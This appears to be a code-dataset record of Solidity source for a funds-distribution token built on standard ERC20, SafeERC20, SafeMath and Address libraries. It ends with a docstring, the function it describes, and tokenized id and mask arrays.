(pointsPerShare.mul(value)).toInt256Safe()
);
emit PointsCorrectionUpdated(account, pointsCorrection[account]);
}
/**
* @dev Internal function that burns an amount of the token of a given account.
* Update pointsCorrection to keep funds unchanged.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal virtual override {
super._burn(account, value);
pointsCorrection[account] = pointsCorrection[account].add(
(pointsPerShare.mul(value)).toInt256Safe()
);
emit PointsCorrectionUpdated(account, pointsCorrection[account]);
}
/**
* @dev Withdraws all available funds for a token holder
*/
function withdrawFunds() public virtual override {
uint256 withdrawableFunds = _prepareWithdraw();
if (withdrawableFunds > uint256(0)) {
fundsToken.safeTransfer(msg.sender, withdrawableFunds);
_updateFundsTokenBalance();
}
}
/**
* @dev Withdraws all available funds for a token holder, on behalf of token holder
*/
function withdrawFundsOnBehalf(address user) public virtual {
uint256 withdrawableFunds = _prepareWithdrawOnBehalf(user);
if (withdrawableFunds > uint256(0)) {
fundsToken.safeTransfer(user, withdrawableFunds);
_updateFundsTokenBalance();
}
}
/**
* @dev Updates the current funds token balance
* and returns the difference of new and previous funds token balances
* @return A int256 representing the difference of the new and previous funds token balance
*/
function _updateFundsTokenBalance() internal virtual returns (int256) {
uint256 _prevFundsTokenBalance = fundsTokenBalance;
fundsTokenBalance = fundsToken.balanceOf(address(this));
return int256(fundsTokenBalance).sub(int256(_prevFundsTokenBalance));
}
/**
* @dev Register a payment of funds in tokens. May be called directly after a deposit is made.
* @dev Calls _updateFundsTokenBalance(), whereby the contract computes the delta of the new and the previous
* funds token balance and increments the total received funds (cumulative) by delta by calling _registerFunds()
*/
function updateFundsReceived() public virtual {
int256 newFunds = _updateFundsTokenBalance();
if (newFunds > 0) {
_distributeFunds(newFunds.toUint256Safe());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.6.11;
interface IERC2222 {
/**
* @dev Returns the total amount of funds a given address is able to withdraw currently.
* @param owner Address of FDT holder
* @return A uint256 representing the available funds for a given account
*/
function withdrawableFundsOf(address owner) external view returns (uint256);
/**
* @dev Withdraws all available funds for a FDT holder.
*/
function withdrawFunds() external;
/**
* @dev This event emits when new funds are distributed
* @param by the address of the sender who distributed funds
* @param fundsDistributed the amount of funds received for distribution
*/
event FundsDistributed(address indexed by, uint256 fundsDistributed);
/**
* @dev This event emits when distributed funds are withdrawn by a token holder.
* @param by the address of the receiver of funds
* @param fundsWithdrawn the amount of funds that were withdrawn
* @param totalWithdrawn the total amount of funds that were withdrawn
*/
event FundsWithdrawn(address indexed by, uint256 fundsWithdrawn, uint256 totalWithdrawn);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.6.11;
library UintSafeMath {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.6.11;
library IntSafeMath {
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
|
* @dev Updates the current funds token balance and returns the difference of new and previous funds token balances @return A int256 representing the difference of the new and previous funds token balance/
|
function _updateFundsTokenBalance() internal virtual returns (int256) {
uint256 _prevFundsTokenBalance = fundsTokenBalance;
fundsTokenBalance = fundsToken.balanceOf(address(this));
return int256(fundsTokenBalance).sub(int256(_prevFundsTokenBalance));
}
| 1,087,256 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
15419,
326,
783,
284,
19156,
1147,
11013,
471,
1135,
326,
7114,
434,
394,
471,
2416,
284,
19156,
1147,
324,
26488,
632,
2463,
432,
509,
5034,
5123,
326,
7114,
434,
326,
394,
471,
2416,
284,
19156,
1147,
11013,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
